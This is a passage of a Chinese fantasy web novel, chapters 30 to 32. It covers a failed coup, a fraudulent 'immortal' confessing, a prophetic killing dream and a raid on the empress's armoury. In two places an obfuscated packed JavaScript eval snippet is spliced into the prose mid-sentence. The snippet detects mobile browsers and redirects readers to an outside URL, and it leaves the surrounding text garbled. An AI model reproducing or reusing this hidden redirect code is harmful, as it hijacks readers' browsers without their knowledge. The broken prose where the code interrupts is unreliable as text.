“她只是叫风平,她又没有叫浪静。和海边有什么关系?”傅水伤狡辩,“况且不在海边,不生在五十多年前,就不准许叫风平了么?” 危鸣晨已知道自己说对了,便只是继续,“单论‘傅风平’这名字自然猜不到,可你还叫‘傅水伤’。” “二、三十年前——你出生的那些年,海中又有水怪频发。海边渔民一生中所见最强大的生物便是那些海怪,她们希望自己的孩子同样强大,便纷纷以海怪的名字为孩子起名。” “而‘水伤’是传闻中最为厉害的海怪——这两个字连在一起可没有别的意思。”危鸣晨道,“你母亲是海边渔民,名为傅风平。你根本没有什么妹妹,临时编来糊弄朕的。是吗?” 傅水伤沉默了片刻。她总觉得危鸣晨有些得意,就好似刚才被骂蠢了,此时终于能证明自己其实聪明的很。 她特别想说一句该聪明的时候不聪明的聪明人更是蠢货中的蠢货,但她忍住了,只是道:“我太谢谢你了,陛下。我活了二十八年,今日才知道我的名字是什么意思。” 难怪这名字那样奇怪,她怎么也想不出“伤”字能有什么吉利的意思。她还以为她娘特别不喜欢她,盼着她被水淹死呢。 危鸣晨依旧是看着她,又问:“你与郡王有什么关系么?” 傅水伤却并不回答,她突然站着不动了,抬头去看远处的长明楼。 “我们走了这么久,却还没走到那楼下。” 按理来说早该到了。可一抬头,倒好似越来越远了一般。 危鸣晨也抬头去看。她又看了看脚下的地面,蹙眉道:“这铺地的砖石是大威宫外的样子。” 但看看周围,又根本没有大威宫的影子。 “恐怕是肖献南做了什么手脚——我们走这么长时间,也不曾见到半个活人。大约是被困在一个结界里,那样旁人无法来救我。” 傅水伤皱起眉,她刚要放下危鸣晨跳到高处去查看,便忽然看见活人了。 叶边舟正悬在空中。她手里的剑终于出了鞘,挥动间将数十个男兵卷入剑气之中,搅碎后化为血雨。 她身下有一株枫树,满树红叶也被卷了进去。鲜血急急地下坠,红叶却纷纷扬扬不肯落下。 而她似乎是注意到了这边,低头看了一眼。夕阳在她身后,也同样是血红一片。 傅水伤与她对视。她便向这边挥了一剑。 空气中仿佛有看不见的东西碎裂,原本一片静谧之地,突然人声嘈杂。而她们忽地看见了大威宫,看到了距离极近的长明楼,还有周围来来去去的人群。 “陛下!”赵得真竟然就在她们几步远的地方,见她们凭空出现,便大步走来。 危鸣晨从傅水伤背上下来,扶着她进了大威宫。她坐下来,才沉声道:“肖献南已死了。” “其它人也死得差不多了。”赵得真也道,“倒是比想象的容易。” 她好似也觉得有些奇怪,但她未看到有什么陷阱,便没有去多想。而危鸣晨勉强笑了一下,并未说话,只是又抬头去看门外。 文武成忽然御剑到了这里。她手上握了一把剑,脚下也踩了一把。落地之后,两把剑便都飞到她背后,消失在空气里。 她另一只手里还抓着一个二十来岁的女人,而她对着上空叶边舟挥手,颇有些兴奋,“师姐!我抓到他们的莫仙尊了!” 30.莫善 她看起来颇为自豪。等叶边舟御剑下来,她便推着那女人进到大威宫里,一面与叶边舟说:“你抓不到,我却抓到了!” 叶边舟不理她,她还继续说:“我比你厉害!” 那女人被推到危鸣晨面前,危鸣晨便坐直了去看。她刚刚才看到叶边舟轻松一剑将几十人化为血雨,对这些仙尊们便多少有些敬畏。 可眼前这莫仙尊却完全不似叶边舟二人,看来没有丝毫仙尊该有的样子。不过被轻轻推了一把,她便直接坐在了地上,低着头,眼睛还不住乱转,简直宛如做贼一般。 危鸣晨自己从前便是做贼的,她实在很熟悉这眼神。她那时观察周围哪个人更有钱、哪个人更好得手时便是这样——这人即便不是贼,大约也差不多。 而她到处乱瞟了片刻,果不其然地盯上了文武成——年纪最小,涉世未深,可又有实力地位,说得上话。 危鸣晨便请文武成坐到身边,又对傅水伤说:“去叫执玉与阿澈来。” 夕阳低垂,外面已到了最后收拾残局的时刻。长明楼上空的刀剑也纷纷坠地,显然是不需要丘执玉她们守在上面了。她想事关重大,该叫她们也来听一听。 傅水伤才刚把盔甲脱下扔在一旁,坐在角落里去看腿上的伤口。她总觉得危鸣晨看她不顺眼故意折腾她,但她心情好没计较,正要站起来走去长明楼叫人。 赵得真却是瞥她一眼,道:“我去。” 她走到门口,直接对着长明楼最上层射了一箭。那箭在墙上留下一个大洞,而池之澈很快从洞里冒出头来,对着她大喊着什么。 离得远听不清楚,但看样子应当是在骂人。 她们很快来了,池之澈倒还好心地将赵得真的箭捡回来交还给她,一面幽幽说:“赵将军,你险些要把丘大人射死了。” 丘执玉便茫然道:“我没有啊。” “险些被射到的不是池大人你么?”她道,“你又不像我,你会武的,怎么也躲不开?” 赵得真把箭接过,放回到背后箭囊里。她扫一眼池之澈,好似有万分不屑,“你该好好练武了,池之澈。” “我哪一天没有好好练了……” 她们像是要吵起来,危鸣晨便叫她们全都坐下,又去看那莫仙尊。她想已晾了足够久了,可以开始问话了,便开口道:“你……” “回陛下,我叫莫善!莫非的莫,积德行善的善。”女人立刻就抢着说话。 “……朕没有问你的名字。” “我知道我知道!我还有别的要说!” 这名为莫善的“仙尊”的确是毫无仙尊的样子,也丝毫看不出有什么法力。她离叶边舟很远,恐怕是认出了叶边舟身份,而她极其识时务,看到叶边舟在场便格外配合。危鸣晨不说话,她也不说话,危鸣晨一开口,她便立刻全都交代了。 “我只是个骗子罢了,我不过想骗点银子。我真的一点都没有想造反啊陛下!” 她话说得很快,仿佛怕被打断一般,一口气说下去,“我只在天照宗旁边一个小门派里学过几年,有一点点法力而已。从前在陆地上到处假装天照宗长老骗人,被天照宗追缉了,我才想着来东扶这小地方捞一笔试试。” “我怎么知道会遇见那什么前太男!我以为他就是个普通富翁,请我驱鬼去的。我骗了他好多钱了,才知道他身份目的。” “我这点法力,几十个普通士兵也能围死我了——我连御剑都不会。他身边有一百多人随时待命,我哪敢说实话。让我逃跑我又舍不得他的银子…… “所以他想造反让我帮忙,我就干脆帮了啊。他实力那么差,我又只能假装帮一帮,一造反他们肯定全军覆没。我想他们全都死光了便没人追究我了,我再跑回大陆上去……” 肖献南一入宫,她就卷光他们的财物往西边跑了,只用传讯符纸和肖献南说着话。她甚至已跑到海边,刚上了船,却又被抓了回来。 她没料到天照宗的人真会来这破地方,还真帮这破地方的小皇帝。 危鸣晨并不太相信她的话,又问:“你是如何骗他的?” “我骗他你身上有厉害法器,我很需要它。可我是个邪修,你只要活着,那厉害法器便能把我拦在宫外无法靠近。只有你死了我才能进宫。而我这么厉害的仙尊,只要能进宫,一剑就能把所有人都杀了。他不必有顾虑。” “你们在悄悄清理第三营的人时,我还骗他都是我杀的。” “哦哦!对了!”她又道,“我还故意在看到你那厉害侍卫也在时,才把你引到他面前,还一直怂恿他自己上前杀你,就是想让他快点儿死罢了。” 她说到这里,危鸣晨便想起那伤到了傅水伤的太男近卫,便问:“肖献南身边一个侍卫身法古怪,旁人伤不到他,而他要伤旁人,旁人却无法躲开。那也是你的手脚,对么?” “你有这样本事,又怎会害怕肖献南的军队?” “那防护罩只能撑三十次攻击,三十次之后就没用了。”莫善急急忙忙地解释,“你们不还是把他杀了?我都料好了的!” 危鸣晨便想那时傅水伤如何也攻击不到他,自己的匕首却是轻易插了进去。看来倒并不只是自己手快,而是三十次的限制到了。 “那防护罩我一天只能用一次,也顶多挡一些普通刀剑和毒药。我还故意没给他加防护,只装装样子骗他……” “陛下!我没想害你的!”莫善把一切交代完了,立刻双手合十恳求道,“有什么事全都怪肖献南!我还算是帮你们把他杀了呢!放了我吧陛下……” 危鸣晨不知她所说是真是假,便去看叶边舟。 而叶边舟点了点头。 她之前已抓到这莫善问过了,确认是真。莫善的确是法力低微,哪怕傅水伤这样的凡人,多受些伤,最后也能将她打败。而她修炼的法术却也是天照宗正统,身上无一丝鬼气,用鬼气杀人的并不是她。 她那时便以为还该有邪修在相助才对,又觉得莫善已问不出什么,便放下她去找那人。 可她没找到,而莫善倒是又被文武成抓回来了。 她便也去问莫善,“还有其她修道者与你一起帮肖献南么?” “没有啊。”莫善老老实实回答,“就我一个。” 危鸣晨想想也是。肖献南太蠢了,不会真有什么厉害仙尊帮他。况且如果真的还有别人,也不该丝毫痕迹不留,让叶边舟也无法寻到。 所以忙来忙去,不过是一个蠢货被一个骗子骗了,带着一群蠢货来送死。 一场闹剧。 傅水伤去看危鸣晨。 危鸣晨也正看她。她好似有些恼怒,而朱向明也正进来与她说:“结束了,八道宫门已重新打开。” ……就这样结束了,不过一天时间。 这样简单的事,她却拖了五年之久。 她心情极差,而叶边舟却已很快看向赵得真,道:“那看来还是你做的。” “你在用人命修炼邪术么?” 既然没有什么人在暗地里做那些事,那就一定是赵得真了。 “我没有。”赵得真蹙眉,见她好似不相信,又道,“如果是我做的,我又有什么好不承认的?” 危鸣晨也说:“我与得真自小一起长大,她从未离开过东扶,不可能会什么邪术。” 叶边舟只看看赵得真。 她身上依旧是鬼气萦绕,这一日间杀了不少人,新生的鬼气早已融入她原本的鬼气里,浑然一体。 无论如何看,她都该是个邪修,甚至实力不低——只要她能想起来该如何使用那些鬼气,如何将它们纳入灵海之中。 叶边舟还是看不明白。 而莫善见危鸣晨不理她,已转而去求文武成。她道:“放了我吧,要不是天照宗追缉我,我怎么会来这地方,怎么会卷入这些事?” “那还怪我们了吗?”文武成不满道,“你以天照宗名义行骗,败坏我们名声。” 莫善却转了转眼睛,很快做出一副敢怒不敢言的模样。她又像是忍了很久终于忍不住,鼓起勇气一般地道:“就是怪你们!” “难道我就愿意做骗子了吗?都是你们逼的!” “我当年那样憧憬天照宗,跋山涉水千幸万苦去拜师。身上一文钱都没有了,你们却不肯收我。我不愿意饿死,只好拜入旁边的小宗门——那小宗门就是骗人的,我当然只能学到骗人术了!” “你们要是收我,我怎么会沦落至此!” 她说得太理直气壮了,又一副悲愤至极的模样。文武成竟还同情了一瞬,才说:“……可你没通过考核啊。再怎么样,没通过考核就不能进门。” “没通过考核又怎么了?凭什么没通过考核就不收?”莫善忽然更为悲愤,她一指叶边舟,道,“她难道就通过考核了吗?凭什么她一出生就在天照宗里?” 文武成竟又思索起来,才道:“……可她是宗主之子啊。总不能宗主一把她生下,立即就把她扔出去,等她长大通过考核了才能回自己家吧?” 而叶边舟也在此时解释了一句,“我通过了。通过之前未用过门派资源。” “就算你通过了,凭什么你一入门就直接是少主了?”莫善好似怒气冲冲,又很快看着文武成,说,“她什么都不做,只因为是宗主之子就直接定为少主了。这又凭什么?宗门难道是她家的么?你难道就服气吗?” 文武成又在思索了。思索过后,她幽幽看向叶边舟,道:“……就是啊。我想做掌门的话,还得先抢来少主之位,可 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危鸣晨看着她气哼哼地离开,只觉更加荒谬。她叹了口气,而那两个闹腾的都离开了,大威宫内一时竟安静下来,让她那叹气声格外响亮。 “天快黑了。”危鸣晨又道,“便都留在宫里休息吧。” 她看起来有些疲惫,又忍不住去看了傅水伤一眼。 可傅水伤已迅速把一切都抛之脑后。已解决的事,她没有半点心思去回顾。她看已没什么事了,便坐到叶边舟身边去,看着门外文武成离去的方向,义愤填膺道:“都怪这些死骗子,把修士的名声都搞坏了。害得我一见到修士,就先要怀疑她们是不是骗子。可其实我小时候极其向往修道,特别崇拜仙尊们的。” 她像是在自言自语,叶边舟便只是看她一眼,没有回答。 “尤其崇敬天照宗,我从小就听闻天下第一宗门的威名……”而她又很快看向叶边舟,还没拍几句马屁就迫不及待地直言,“……所以仙尊你收徒吗?” 其她人也纷纷看了过来。她们今日才亲眼见到叶边舟出手,而她一人怕是抵得过一支大军。她们不论是否习武,都难免有些向往。 叶边舟道:“不收。” “为什么?”傅水伤极其失望,但她又很快去问,“那天照宗在什么地方?我自己去拜师好了。” 叶边舟还未回答,丘执玉先开了口。她好似极为惊讶,问:“你要离开东扶吗?” “怎么了?”傅水伤不知她惊讶什么,“我总有一天要离开的。难道我还能一辈子待在东扶么?” 丘执玉好似愣了片刻,才点了点头,没再说话。 而叶边舟也与她解释:“我没有通过长老考核,没有收徒资格。你如果想去天照宗,可以等我离开东扶时一起。” “好!”傅水伤满意了。她甚至已迫不及待想让危鸣晨赶两位仙尊走了。 她们说话的时候,池之澈已去请了太医来,给众人伤口上药包扎。结束后天色也已暗了下来,池之澈便又带她们去休息。 她们走到了大威宫西面。这里一片大大小小的宫殿,皆是空荡无人。池之澈便让她们随便挑。 “这是从前老男皇的后宫么?”傅水伤猜测。 池之澈点头,“是。人都出宫去了,这里便空了下来。” “那还怪不吉利的。”傅水伤便有些慊弃。 “不吉利的是那老男皇,关人家一个房子什么事?”池之澈给她推了进去,“天要黑了,快挑一个睡吧。” 傅水伤便随便找了间房进去。这里多年无人居住,虽有人收拾,却还是一股淡淡的霉味。她也没得挑,脱了衣服直接睡觉去了。 大约是日有所思夜有所梦。她刚一入睡,便梦到自己忽地有了极强大的法力,而她果不其然地就开始要毫无顾忌地乱杀人了,随手一挥,便将来叫她的宫人杀死。 那人在她灵力之下身首分离,离她最近的右手更是直接化为一滩肉泥。 ……有点爽。 醒来时她还记得那宫人的样貌。便一边回味着,一边开门出去。 她看见门口坐着一个人,背对着她。似乎是睡在了这里。她便走上前去,问:“谁?怎么在这里……” 话说到一半,她已到了那人面前,便伸手想要将人摇醒。她碰到那人的皮肤,还是温热的,甚至看到他呼吸时起伏的胸口。 可她碰到那人的瞬间,便见他脑袋忽地滚落下来,鲜血流了一地。而他一只手臂也刹那间化为了肉泥。 傅水伤全没料到,更没来得及躲避。她被撒了一身鲜血,有些呆住了。 而她又去看那人脑袋。 那张脸与她梦中的宫人一模一样。 31.梦 傅水伤不免愣在原地,脸上的鲜血也忘了去擦,沿着下巴滴落到衣襟上。 她从前全然不信这些,今日却是亲眼看见了。 ——原本一个呼吸平稳沉沉睡着的人,不过被她轻轻一碰,立刻便成了这样子。 还有她那梦。 她在梦中杀人实属常事,可她为何会梦到一个从未见过的人?而梦醒后,那人甚至还出现在了眼前。死状都与梦中一模一样。 “水伤你……”丘执玉恰在此时过来。 院门没关,她看到眼前景象,跨入门中的一条腿便又收了回去。而她已忘了自己原先要说什么,斟酌片刻,才犹犹豫豫道,“……你、呃……你真是好雅兴,一大早起来就忙着杀人啊……” 傅水伤回过神来,抹了把脸上的血。她听到丘执玉说话,便立刻摇头,“不是我。” 丘执玉却只以为她是一时冲动杀完了人,又害怕入牢。便安慰她道:“没关系,杀便杀了。这个可以杀。” 地上死尸是一个穿着羽林军统一服饰的男人。可他故意挑了不合身的衣服,以掩盖身形,还将衣领拉高挡住喉结。而他脸上胡子刮得干干净净,甚至涂了粉来遮住淡淡的胡印。 显然是造反到了一半,见情况不对,便把那肩上刻了三道横线的盔甲一脱,想要被当成女人放过一马。 他长得的确并不特别像男的,竟也成功了,活到今日清晨才被傅水伤发现。 “真不是我。”傅水伤却还是摇头,“我一醒来,便见他坐在门口,和睡着了一般。他低着头,我都没看清他是女是男,只不过碰了他一下,他就成这样了。” 她说完犹豫片刻,还是趁着其她人未来,先和丘执玉说:“……但我昨夜梦到自己杀人了。” “杀的是他。” 丘执玉听过,却并不似她这样疑惑不安。她立即就猜,“你杀完人之后脑子犯病,以为自己做了梦?” “……我倒还没病到那种地步。”傅水伤道,“不至于分不清梦境与现实。” 再说她梦里可是一挥手就把人杀了,她倒真希望自己能有那本事。 可惜她没有。 这时其她人也都醒了,听到这边的动静,便纷纷走了过来。 她们看傅水伤满身鲜血,面前又躺着一具死尸,第一反应便都如丘执玉一般,以为是她杀了人。 唯有叶边舟皱着眉,先问了情况,听傅水伤说了,才去看赵得真,“他身上鬼气,依旧与你身上的同源。” 甚至赵得真一靠近了,那些鬼气便自动地往赵得真身上去。 几人便面面相觑。 竟是那沉寂了十几日没有动作,不知是人是鬼的东西又开始了。 她们原本以为这些死人是肖献南那仙尊所为,为的是让摇摆不定不敢造反的人下定决心。可她们昨日才见了那骗子仙尊,又杀了肖献南。 却又有人在宫里死得这般怪异。 “我去请陛下来。”池之澈便皱眉道。 她很快带人过来。一夜过去,危鸣晨也恢复了平静,又如往常一般把所有情绪掩藏在温和外表之中。可她受伤的腿却没那么好恢复,大约是不想一瘸一拐蹦跶着走路,便直接坐了轮椅来。 傅水伤看了便笑。被危鸣晨瞥了一眼,也只不过忍住没笑出声。 太活该啦!让别人跪就是这下场,自己站不起来了。 危鸣晨没有理她,只去问丘执玉,“怎么了?” 丘执玉便推着她的轮椅走到近前去,与她说了这里的事。而她沉默片刻,又回头看了眼在场之人。 一共六个——她自己、危鸣晨、傅水伤、赵得真、池之澈、叶边舟。 她便去与傅水伤说:“在场都是朋友,我们自己人。” “你的梦也告诉她们吧。” 傅水伤却还有几分犹豫,也一一看过众人。那梦有些奇怪,又与这死人关联,她恐怕自己说了,要给自己平添麻烦。 她不喜欢麻烦。 可她看完众人之后,却不知怎的点了点头,将自己那梦也说了。 ——她一说完就后悔了。 “那看来的确是你杀的。”赵得真显然对她没什么好感,闻言便立刻冷笑起来,“杀个叛军而已,却还不敢承认。怕不是其中另有隐情。——该不会之前那些也全都是你杀的,你才是暗中帮肖献南的邪修吧?” 这显然并不可能,赵得真也不过是胡乱一说,单纯想要气一气傅水伤罢了。可池之澈却忽道:“真说不定啊。” 她想了想,又用力点头:“真说不定就是水伤姐杀的啊。” 傅水伤瞪她一眼,不明白她怎么也跟着赵得真胡言乱语。 可她已然沉浸在自己想法里,意味深长道:“你们想一下,那神秘人杀了这么多人,有一个是我们自己人么?” “说不定她并不是帮肖献南,而是帮我们。” “一开始杀第三营和宫里那些勾结了肖献南的侍卫,是为了报五年前的仇;陛下派人去查赵将军了,她以为陛下来真的,为了保护赵将军,便将京郊营地里的尸首藏了起来;到后来隐约猜到陛下是为了演戏给肖献南看,又将尸首放出来配合我们。而现在又杀了这逃过一劫的男兵,替我们清除隐患。” 这怎么想都十分说得通啊。 原本危鸣晨便是想让丘执玉直接在京郊那地下暗室里发现成堆的尸体,可傅水伤与叶边舟去了,那些尸首却离奇消失。她们那时全都无法想明白是怎么一回事。直到后来尸首又出现在赵得真身边,她们便猜是肖献南那仙尊所为,为的是让尸首被第三营看见,顺便教赵得真无可辩驳。 可这推测其实漏洞很多,而池之澈所说,听起来竟反而更合理一些。 “而那些尸首消失的时候,水伤姐是第一个走进那地下暗室的;莫名出现的时候,又只有水伤姐和赵将军在……”池之澈已被自己的想象感动了,她看了眼地上尸体,拍拍傅水伤的肩,道,“水伤姐!你私下做了这么多,有什么好不承认的呢?就算修炼邪功又怎么了?我们不会看不起你的!” 傅水伤:“……不,我没有。” 她要真修炼邪术了,哪轮得到别人看不起她,只怕别人根本连看她的命都没有。 而她很清楚自己一夜没下过床,那梦就只是梦。至于梦中之事到了现实,那其中怕是有更为难以想象的秘密。 然而其她人竟好似是信了一般。丘执玉对她微微点头,仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15157891|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 佛颇为欣慰;危鸣晨看她的眼神里,几乎已写着“你竟这样努力地为郡王复仇,你一定是与郡王关系匪浅”;就连赵得真看她的目光都平和起来,不复之前那般森冷阴郁。 甚至叶边舟也说:“赵得真虽无法控制身旁鬼气,但那些鬼气认她为主,自会护着她。一般凡人与她作对,便会被鬼气侵袭。——或许是你杀人后将鬼气送到她身边,以求保护于她?” 至于为何只有赵得真有——这几人之中只有赵得真需要常常上战场去,她显然是最需要的。 “倘若如此……你是如何做到的?你修习的是哪一派邪术?” “……我没修邪术,不是我做的。”傅水伤简直已开始怀疑她们的脑子了,她真是很佩服这些神奇的想法,忍不住说,“我像是这种人吗?” 她看向丘执玉,又道:“丘大人你该相信我的人品,我难道像是这种大蠢……大圣人吗?” 丘执玉眼珠微转,略一思索便立即冷静下来,摇头道:“应当不是这样。” 她的确很相信傅水伤的人品。以她那若有似无的人品来看,她绝不会允许自己默默无声地做这种不求回报的好事——她简直恨不得半点事不做只要回报。 其她人也收回目光。傅水伤无语地扫她们一眼,又忍不住笑了一声。 她能看出其她人虽各有怀疑,但刚才那些话也不过都是半开玩笑,并不十分当真。 危鸣晨也轻轻一笑,而池之澈便跟着笑——她好似看到谁笑了都要跟着笑一笑。 “好了,说正经的。”傅水伤靠在了廊下柱子上。她想抱着自己的刀,可她的刀已断了。便只好空抱着胳膊。 但她莫名地放松,甚至有些开心。她想她朋友忽然便多了许多,有这么多人一起—— ——离杀光东扶又近了一步呢。 “我那梦究竟是怎么一回事?”傅水伤去问叶边舟,“仙尊知道么?” 叶边舟摇头:“虽有许多方法,都能叫你做出别人想叫你做的梦来。可我想不出她这么做的目的是什么。” 傅水伤倒也并不十分在意。她想危鸣晨也曾在见她之前梦到过她,那说不准人就是会偶尔做一两个预知梦呢。 单在这里站着胡想也想不出什么,还是要走一步看一步。 而池之澈至少有一点说得极是——不论那神秘人目的是什么,目前她所杀的,也完全都是她们的敌人。 她们或许不必太着急,依旧请叶边舟查着就是。 本来也只是以这些怪事为由请叶边舟来的,未想到最后,这怪事竟成了更大的疑团。 她们又仔细看了看那尸首,便让人来将他移走,与先前那些怪死之人存放在一处。 而刚刚经历一场打入京都的战事,她们显然都还有许多事要处理。便也都各自离开。 傅水伤抱着手走在最后。没有刀她实在是浑身不舒服,而她看到危鸣晨就那么走了,半个字也没对她说,便有些不满地到她身边去。 她一只手抓住了危鸣晨的轮椅,让她半点也移动不得。而她仿佛意识不到自己这行为已经够惹人生气了,还微微低头尽力让自己显得尊重一些。 “陛下,你是不是忘了什么东西啦?” 32.刀斧 危鸣晨只微微侧身,并不抬头看她,而是斜眼向下盯着她的手。 “朕忘了什么?” 她看起来已很不高兴了,傅水伤便先将手拿开,才说:“我的刀。” 怕危鸣晨一怒之下不给了,她还又急忙补充,“陛下昨日答应过的。” 总算危鸣晨一言九鼎,并不准备反悔。她让丘执玉继续推她离开,一面与池之澈说:“带她去朕的私库,让她挑一把刀。” 池之澈便带人去了。 七零八落的尸首早被搬走,宫道上的血却已渗入砖石地缝里,到处都是墨水一般的暗红。宫人正在刷洗地上干涸的血迹,将清水一桶一桶地倒在地上。 池之澈一面看着,一面与傅水伤说:“陛下居然让你去她的库房随便挑?她可宝贝那些东西了,以前赵将军想要,她给得都不情不愿的。” 当然换她她也宝贝。危鸣晨年少时也曾跟着灵晖郡王习武,可后来许多事压上来,终究是荒废了。大约为了弥补遗憾,她收藏了许多神兵利刃,甚至还有几个仙家法器。 傅水伤正要说话,却先跳了起来。她看到一桶水正向着自己二人泼过来,便向一旁躲避。 可另一宫人也正往地上倒水,她躲过一个还有一个。她总不能飞在天上不落地,脚上布鞋便还是湿透了。 她有些不舒服,一边甩着脚上的水,一边看了眼那宫人,又一边与池之澈说:“兵器不就是拿来用的?她放在库房里等着生锈么?” 池之澈的鞋子也湿了,她正回头对那些宫人大声道:“你们看着点儿人啊!怎么往人脚上泼?” 说完又转头向傅水伤,“她倒是想用。赵将军说她小时候武功也是不错的。” 两人闲聊着,便已走到了库房里。傅水伤只站在门口扫一眼,便知道那其中的确全都是好东西。 她随手拔出身旁一把刀来,在刀身上轻轻弹了一下。那铮铮之声竟好似带着无穷杀气,教傅水伤立时眼睛一亮。 然后一亮又一亮,全然停不下来。 “做皇帝真好。”傅水伤万分羡慕,“全都是我这辈子也不曾见过的绝世好刀。” 她挨个看了一遍,又回头盯着池之澈,“好难选,我全都想要怎么办?” 池之澈总觉得她那语气并不像是单纯的感慨,她有些警惕,“你想干什么?” 傅水伤对她笑了下。 ——她们双脚走过来的,却驾着马车走了。 一路去到明镜府,丘执玉正在里面忙得不可开交。她又要查是否有叛军残部尚躲在京都,又要揪出暗中支持却未直接参与的先皇旧臣,又要统计民众损伤安抚赔偿。 ——还要看着无所事事的傅水伤来给她炫耀自己新得的大刀。 “丘大人!看我的刀!” 傅水伤千挑万选,给自己找了一把最喜欢的。这刀比她原来的还大了许多,刀尖立地的话,刀柄甚至已能到傅水伤胸口处。 而她一只手拿着这大得夸张的刀,另一只手还握着一把巨斧。 “你不要来烦我。我很忙。”丘执玉敷衍地抬了下头,收回目光时看到她那巨斧,还是没忍住问了一句,“你拿一把斧头做什么?” 傅水伤:“反正不要钱,拿回家劈柴啊。” “那是兵器,没记错的话是彻河郡进贡的……”丘执玉说到一半,却又叹气道,“……算了,你快回家劈柴去吧。不要来和我说话。” “一会儿就回去。”傅水伤将那大刀背在了背上,又和池之澈一起抱了几把刀剑下来。她从中抽出一把剑,递到丘执玉面前,“丘大人,送你的!” 丘执玉没有去接。她问:“反正不要钱,你看到喜欢的就拿。拿了才想起自己只用刀不用剑,随手送我当扔垃圾了,是么?” “哈哈哈。怎么会呢?”傅水伤干笑,“我特意为你选的。” “你看这剑柄上,这里有机关,可以藏丨毒……” 丘执玉打断她,“你是说,你特意为一个完全不会武的人,选了一把剑?” “……”傅水伤勉强道,“练一练不就会了?我教你?” 丘执玉不理她,她便只是把剑放在丘执玉身边,又去拿了几把刀出来。 那马车里显然还有很多,全是价值连城的东西,被她那么堆在里面,宛如废铜烂铁。丘执玉自然也知道这全是危鸣晨的珍藏,不由去问池之澈,“……池大人,你就让她这样随便拿?” 这怕是要把危鸣晨的库房搬走一半了吧? “又不是我的,她拿光了我也不亏啊?”池之澈仿佛毫不在意,可她又很快小声说了句,“但我要拦她,她取走的性命可就是我的了。” “……陛下看到的话要气死了。”丘执玉已不想理她们了,可她倒还是好心提醒了一句,“你们这些天躲着点陛下吧。” 她们说话时,傅水伤已将手里几把刀拿到丘执玉面前。她举着其中最小的一把细弯刀,道:“这个给阿阳。她力气小,先用这个,往后力气大一些了,再慢慢换。” 她手中五把刀由小到大地排列,而她想起昨日阿阳抱着刀不放的样子,应当是会想要学刀的。她便问:“阿阳呢?” 刚一问完,她却立即想起了答案。 ——她似乎是把阿阳扔在宫里面,然后就那么给忘了。 “阿阳今日没来明镜府。我稍后让人去叫一下……”丘执玉原本并没有太担心,可她看见傅水伤脸上竟罕见地有些愧疚,便忽地皱眉去问,“阿阳去哪儿了?” 想了下,她大惊失色起来,“你昨日不小心把阿阳杀了?!” “怎么可能!”傅水伤本还有些愧疚,可与丘执玉的想象一比,却立刻觉得自己不过是把人落下了,简直等于半点错事也没做。 她将昨日之事与丘执玉说了。丘执玉便才松了口气,“……我去接阿阳回来。” 她刚一站起身,却先听见了阿阳的声音。 “丘大人!” 阿阳进了门来,立即就叫了一声。她简直已快要泪眼朦胧了,极期待地等着丘执玉去解救他。 ——她此时被须和恒紧紧地抓着手腕。而须和恒眼神呆呆地看着地面,时不时还转身去摸摸她的头。那样子实在诡异,而她却完全挣脱不得。 况且还有危鸣晨在。她第一次见到皇帝,难免紧张,连手脚都不知该往哪里去放。 丘执玉急忙过去,而危鸣晨便微抬下巴指了指阿阳,道:“她说她是明镜府之人。阿恒不肯放手,朕便将她们都带来了。” 池之澈也走上前去,试着掰开须和恒的手,“殿下放开,抓着人家干什么?” 可她竟是掰不动,而须和恒竟也说话了。 “我要养。”她声音还是有些许沙哑,断断续续地说,“姐姐养了很多。” 危鸣晨便抬头看着她,与她解释,“她不是猫,她是人。人不能给你养。” “是猫。”须和恒看着走来的丘执玉,又看看紧随其后的傅水伤,便有些不高兴了,“姐姐的猫、还会自己来找姐姐。” 她又盯着阿阳,“我的猫、一松手就跑。” 阿阳被她盯得害怕,立刻又喊了一句,“……丘大人!水伤!” 快来救我! 救了她的却是池之澈。她掰不动,直接便对须和恒说:“放手。不准养。” 须和恒只委屈地看她。看了许久也不见她松口,便更委屈地松了手。 阿阳立即跑到丘执玉身后去,而须和恒又低头去看地面。她看着看着便直接蹲在了地上,仿佛被什么东西吸引一般,缓慢无序地移动脚步。 再有任何人说话,她也全都听不见一般,一概不理了。 危鸣晨看了片刻,由她去了。而她显然并不只是为了送阿阳回来,很快便让丘执玉推着她,走到远处去说话。 等她们一走,阿阳便去瞪傅水伤,“昨日凌王一直抓着我不放,去哪里都要抓着,连睡觉上茅房都抓着!还一会儿摸一下脑袋,……吓死我了!” “水伤你都不去接我……你把我扔在那里就彻底忘了我吗?” 她确实是连衣服都没能去换,还穿着昨日那沾满了血的一身。傅水伤多少还是有些愧疚,便把手中的刀举起来拔出鞘,转移话题,“……看,我去陛下库房里给你挑的刀。” 阿阳低头揉着被抓红的手腕。她好似还想生气,可她控制不住地要去看那把弯刀。 那一看便是极好的刀。寒光凛凛,锋刃锐利,连她这般不懂刀的人也觉得一定价值连城。 她还是没忍住接了过来,拿在手里不断看着。而她果然是很想学武,又试探着去问:“那水伤……你要教我刀法吗?” 她也想要和傅水伤这样厉害。 傅水伤本没这个打算,但她想了一下,又道:“也行。” “你跟那什么柳乘风学画画,都要给她一百多两银子。那跟我学刀,给我一千两不过分吧?” 阿阳见她答应,本都已笑起来了,上扬的嘴角却僵在了半路。 “我哪里有一千两?!那一百两都还是丘大人给的。我全身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15164434|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上下、连房子也卖了,都至多不过二十两……” 